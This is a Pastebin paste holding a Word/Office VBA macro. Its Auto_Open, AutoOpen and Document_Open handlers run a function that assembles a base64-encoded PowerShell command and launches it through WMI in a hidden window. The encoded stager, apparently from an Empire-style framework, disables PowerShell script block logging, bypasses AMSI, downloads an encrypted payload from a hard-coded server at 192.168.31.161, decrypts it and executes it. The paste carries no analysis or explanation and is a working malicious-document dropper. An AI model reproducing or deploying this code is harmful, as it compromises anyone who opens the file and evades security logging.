SHARE
TWEET

Untitled

a guest Dec 16th, 2018 156 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Sub Auto_Open()
  2.     Ra
  3. End Sub
  4.  
  5. Sub AutoOpen()
  6.     Ra
  7. End Sub
  8.  
  9. Sub Document_Open()
  10.     Ra
  11. End Sub
  12.  
  13. Public Function Ra() As Variant
  14.     Dim Zpt As String
  15.     Zpt = "powershell -noP -sta -w 1 -enc  SQBGACgAJABQAFMAVg"
  16.     Zpt = Zpt + "BlAHIAUwBJAE8ATgBUAGEAQgBMAEUALgBQAFMAVgBFAHIAcwBJ"
  17.     Zpt = Zpt + "AE8ATgAuAE0AQQBqAG8AcgAgAC0ARwBlACAAMwApAHsAJABHAF"
  18.     Zpt = Zpt + "AARgA9AFsAUgBlAEYAXQAuAEEAcwBTAGUAbQBiAEwAWQAuAEcA"
  19.     Zpt = Zpt + "ZQBUAFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQ"
  20.     Zpt = Zpt + "BnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBV"
  21.     Zpt = Zpt + "AHQAaQBsAHMAJwApAC4AIgBHAGUAdABGAEkAZQBgAGwAZAAiAC"
  22.     Zpt = Zpt + "gAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkA"
  23.     Zpt = Zpt + "UwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQ"
  24.     Zpt = Zpt + "BiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABH"
  25.     Zpt = Zpt + "AFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAdABWAE"
  26.     Zpt = Zpt + "EATABVAEUAKAAkAE4AVQBsAGwAKQA7AEkARgAoACQARwBQAEMA"
  27.     Zpt = Zpt + "WwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZw"
  28.     Zpt = Zpt + "BnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBw"
  29.     Zpt = Zpt + "AHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAF"
  30.     Zpt = Zpt + "sAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwA"
  31.     Zpt = Zpt + "bwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQw"
  32.     Zpt = Zpt + "BbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBn"
  33.     Zpt = Zpt + "AGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAH"
  34.     Zpt = Zpt + "AAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8A"
  35.     Zpt = Zpt + "ZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAYQBsAD0AWwBDAE8ATA"
  36.     Zpt = Zpt + "BsAGUAYwB0AGkAbwBOAHMALgBHAGUAbgBlAHIASQBjAC4ARABp"
  37.     Zpt = Zpt + "AGMAVABpAG8AbgBhAHIAeQBbAFMAVAByAEkAbgBHACwAUwBZAF"
  38.     Zpt = Zpt + "MAdABlAG0ALgBPAEIASgBFAEMAdABdAF0AOgA6AE4AZQB3ACgA"
  39.     Zpt = Zpt + "KQA7ACQAdgBBAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUw"
  40.     Zpt = Zpt + "BjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBu"
  41.     Zpt = Zpt + "AGcAJwAsADAAKQA7ACQAdgBBAGwALgBBAEQAZAAoACcARQBuAG"
  42.     Zpt = Zpt + "EAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8A"
  43.     Zpt = Zpt + "YwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJA"
  44.     Zpt = Zpt + "BHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBD"
  45.     Zpt = Zpt + "AEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAG"
  46.     Zpt = Zpt + "MAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQA"
  47.     Zpt = Zpt + "bwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQ"
  48.     Zpt = Zpt + "BwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBd"
  49.     Zpt = Zpt + "AD0AJABWAEEAbAB9AEUATABTAEUAewBbAFMAYwBSAEkAcAB0AE"
  50.     Zpt = Zpt + "IAbABvAGMAawBdAC4AIgBHAEUAdABGAGkAZQBgAGwARAAiACgA"
  51.     Zpt = Zpt + "JwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbw"
  52.     Zpt = Zpt + "BuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBl"
  53.     Zpt = Zpt + "AHQAVgBBAGwAdQBlACgAJABuAHUATABMACwAKABOAEUAdwAtAE"
  54.     Zpt = Zpt + "8AYgBqAGUAYwB0ACAAQwBPAEwAbABFAGMAdABJAE8AbgBzAC4A"
  55.     Zpt = Zpt + "RwBlAE4ARQBSAGkAYwAuAEgAQQBzAGgAUwBFAFQAWwBTAHQAcg"
  56.     Zpt = Zpt + "BJAG4ARwBdACkAKQB9AFsAUgBlAEYAXQAuAEEAUwBTAGUAbQBi"
  57.     Zpt = Zpt + "AGwAWQAuAEcAZQB0AFQAWQBQAGUAKAAnAFMAeQBzAHQAZQBtAC"
  58.     Zpt = Zpt + "4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQA"
  59.     Zpt = Zpt + "aQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJA"
  60.     Zpt = Zpt + "BfAH0AfAAlAHsAJABfAC4ARwBlAHQARgBpAGUATABEACgAJwBh"
  61.     Zpt = Zpt + "AG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG"
  62.     Zpt = Zpt + "4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUA"
  63.     Zpt = Zpt + "VABWAGEAbABVAEUAKAAkAE4AdQBsAGwALAAkAHQAUgBVAEUAKQ"
  64.     Zpt = Zpt + "B9ADsAfQA7AFsAUwB5AFMAVABlAG0ALgBOAGUAdAAuAFMAZQBy"
  65.     Zpt = Zpt + "AFYAaQBjAGUAUABPAGkAbgBUAE0AQQBuAEEAZwBFAFIAXQA6AD"
  66.     Zpt = Zpt + "oARQB4AHAAZQBDAHQAMQAwADAAQwBPAG4AdABpAG4AdQBFAD0A"
  67.     Zpt = Zpt + "MAA7ACQAdwBDAD0ATgBFAFcALQBPAGIAagBlAGMAVAAgAFMAWQ"
  68.     Zpt = Zpt + "BzAHQARQBNAC4ATgBlAHQALgBXAGUAYgBDAEwASQBlAG4AdAA7"
  69.     Zpt = Zpt + "ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAG"
  70.     Zpt = Zpt + "kAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYA"
  71.     Zpt = Zpt + "NAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOg"
  72.     Zpt = Zpt + "AxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAk"
  73.     Zpt = Zpt + "AFcAQwAuAEgARQBBAGQAZQBSAFMALgBBAEQARAAoACcAVQBzAG"
  74.     Zpt = Zpt + "UAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAQwAuAFAA"
  75.     Zpt = Zpt + "cgBPAHgAeQA9AFsAUwB5AFMAdABlAG0ALgBOAGUAdAAuAFcAZQ"
  76.     Zpt = Zpt + "BCAFIARQBRAFUARQBzAHQAXQA6ADoARABlAEYAQQB1AEwAVABX"
  77.     Zpt = Zpt + "AGUAQgBQAHIAbwBYAHkAOwAkAFcAQwAuAFAAcgBPAFgAWQAuAE"
  78.     Zpt = Zpt + "MAcgBlAEQARQBOAHQASQBhAEwAUwAgAD0AIABbAFMAWQBzAHQA"
  79.     Zpt = Zpt + "ZQBNAC4ATgBFAFQALgBDAHIAZQBEAEUATgB0AGkAYQBMAEMAYQ"
  80.     Zpt = Zpt + "BjAGgARQBdADoAOgBEAEUAZgBBAFUAbAB0AE4AZQBUAHcAbwBS"
  81.     Zpt = Zpt + "AEsAQwBSAEUARABFAE4AdABpAGEAbABzADsAJABTAGMAcgBpAH"
  82.     Zpt = Zpt + "AAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgA"
  83.     Zpt = Zpt + "eQA7ACQASwA9AFsAUwB5AFMAVABFAG0ALgBUAGUAWAB0AC4ARQ"
  84.     Zpt = Zpt + "BuAGMATwBkAGkAbgBHAF0AOgA6AEEAUwBDAEkASQAuAEcARQB0"
  85.     Zpt = Zpt + "AEIAWQBUAEUAUwAoACcASQByAGYAfQApACEAOABUADEAegAmAH"
  86.     Zpt = Zpt + "sAOQBdAD8AdwBRAE4AQQA7AC0AJQBAAHMAPABZAEwARQBeAFAA"
  87.     Zpt = Zpt + "awBLACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAHIAZw"
  88.     Zpt = Zpt + "BzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8"
  89.     Zpt = Zpt + "ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAF"
  90.     Zpt = Zpt + "sAJABfACUAJABLAC4AQwBvAFUAbgBUAF0AKQAlADIANQA2ADsA"
  91.     Zpt = Zpt + "JABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASg"
  92.     Zpt = Zpt + "BdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAo"
  93.     Zpt = Zpt + "ACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAF"
  94.     Zpt = Zpt + "MAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQA"
  95.     Zpt = Zpt + "UwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQ"
  96.     Zpt = Zpt + "A7ACQAXwAtAEIAWABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQAr"
  97.     Zpt = Zpt + "ACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAH"
  98.     Zpt = Zpt + "IAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADMA"
  99.     Zpt = Zpt + "MQAuADEANgAxADoAOAAwACcAOwAkAHQAPQAnAC8AbABvAGcAaQ"
  100.     Zpt = Zpt + "BuAC8AcAByAG8AYwBlAHMAcwAuAHAAaABwACcAOwAkAFcAQwAu"
  101.     Zpt = Zpt + "AEgAZQBhAEQAZQByAFMALgBBAEQARAAoACIAQwBvAG8AawBpAG"
  102.     Zpt = Zpt + "UAIgAsACIAcwBlAHMAcwBpAG8AbgA9AEcATwA3AHAAUQBVAG8A"
  103.     Zpt = Zpt + "dgA3AEsAOABWAHoARgB5AFUAKwA3ADQASAA1AHIAbwA0ADcAUA"
  104.     Zpt = Zpt + "BVAD0AIgApADsAJABkAEEAVABBAD0AJABXAEMALgBEAE8AdwBu"
  105.     Zpt = Zpt + "AGwATwBBAGQARABhAFQAYQAoACQAUwBlAHIAKwAkAHQAKQA7AC"
  106.     Zpt = Zpt + "QAaQBWAD0AJABkAGEAdABBAFsAMAAuAC4AMwBdADsAJABEAGEA"
  107.     Zpt = Zpt + "dABBAD0AJABEAGEAVABBAFsANAAuAC4AJABkAGEAdABBAC4AbA"
  108.     Zpt = Zpt + "BFAE4ARwB0AGgAXQA7AC0AagBPAGkATgBbAEMASABBAHIAWwBd"
  109.     Zpt = Zpt + "AF0AKAAmACAAJABSACAAJABEAGEAVABhACAAKAAkAEkAVgArAC"
  110.     Zpt = Zpt + "QASwApACkAfABJAEUAWAA="
  111.     Const HIDDEN_WINDOW = 0
  112.     strComputer = "."
  113.     Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  114.     Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  115.     Set objConfig = objStartup.SpawnInstance_
  116.     objConfig.ShowWindow = HIDDEN_WINDOW
  117.     Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
  118.     objProcess.Create Zpt, Null, objConfig, intProcessID
  119. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top